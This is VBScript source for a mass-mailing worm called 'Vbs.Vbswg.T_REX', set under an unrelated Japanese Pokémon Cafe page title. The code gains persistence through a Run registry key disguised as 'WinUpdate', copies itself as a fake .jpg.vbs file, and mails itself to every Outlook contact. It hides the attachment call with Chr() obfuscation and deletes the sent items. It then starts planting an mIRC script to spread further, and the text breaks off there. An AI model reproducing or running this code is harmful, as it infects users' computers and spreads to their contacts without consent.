ポケモンカフェ【33号店】

Vbs.Vbswg.T_REX Created By FISH. 11/17/2003
Set GEELUN5U = createobject("scripting.filesystemobject")
HPN00J9F = GEELUN5U.getspecialfolder(1)
PN259440 = HPN00J9F & "\t_rex.jpg.vbs"
Set SNJERHGU = createobject("wscript.shell")
SNJERHGU.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate", "wscript.exe " & PN259440 & " %"
GEELUN5U.copyfile wscript.scriptfullname, PN259440
M8RL6R2N
If SNJERHGU.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\T_REX\M6L3E928") <> 1 then
CR3T07U5
End if
If SNJERHGU.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\T_REX\R8P76D60") <> 1 then
V6NG53RV ""
End if

Function CR3T07U5()
Set H5UI21RC = CreateObject("Outlook.Application")
If H5UI21RC = "Outlook" Then
Set D22AVNA4 = H5UI21RC.GetNameSpace("MAPI")
Set D88CSE50 = D22AVNA4.AddressLists
For Each OT8373FI In D88CSE50
If OT8373FI.AddressEntries.Count <> 0 Then
BEA3178S = OT8373FI.AddressEntries.Count
For F2TJQ793 = 1 To BEA3178S
Set G0U7T470 = H5UI21RC.CreateItem(0)
Set C60C534R = OT8373FI.AddressEntries(F2TJQ793)
G0U7T470.To = C60C534R.Address
G0U7T470.Subject = "don't open!!"
G0U7T470.Body = "Don't open this plogram" & vbcrlf & "this is very danger!!!!!!!!!!!" & vbcrlf & ""

execute "set R3D2Q8A6 =G0U7T470." & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)
A2NS1566 = PN259440
G0U7T470.DeleteAfterSubmit = True
R3D2Q8A6.Add A2NS1566
If G0U7T470.To <> "" Then
G0U7T470.Send
End If
Next
End If
Next
End If
End function

Function V6NG53RV(O1957P5N)
If O1957P5N <> "" Then
LBL4BC4U = SNJERHGU.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ProgramFilesDir")
If GEELUN5U.fileexists("c:\mirc\mirc.ini") Then
O1957P5N = "c:\mirc"
ElseIf GEELUN5U.fileexists("c:\mirc32\mirc.ini") Then
O1957P5N = "c:\mirc32"
ElseIf GEELUN5U.fileexists(LBL4BC4U & "\mirc\mirc.ini") Then
O1957P5N = LBL4BC4U & "\mirc"
ElseIf GEELUN5U.fileexists(LBL4BC4U & "\mirc32\mirc.ini") Then
O1957P5N = LBL4BC4U & "\mirc"
Else
O1957P5N = ""
End If
End If
If O1957P5N <> "" Then
Set MAL2E8QV = GEELUN5U.CreateTextFile(O1957P5N & "\script.ini", True)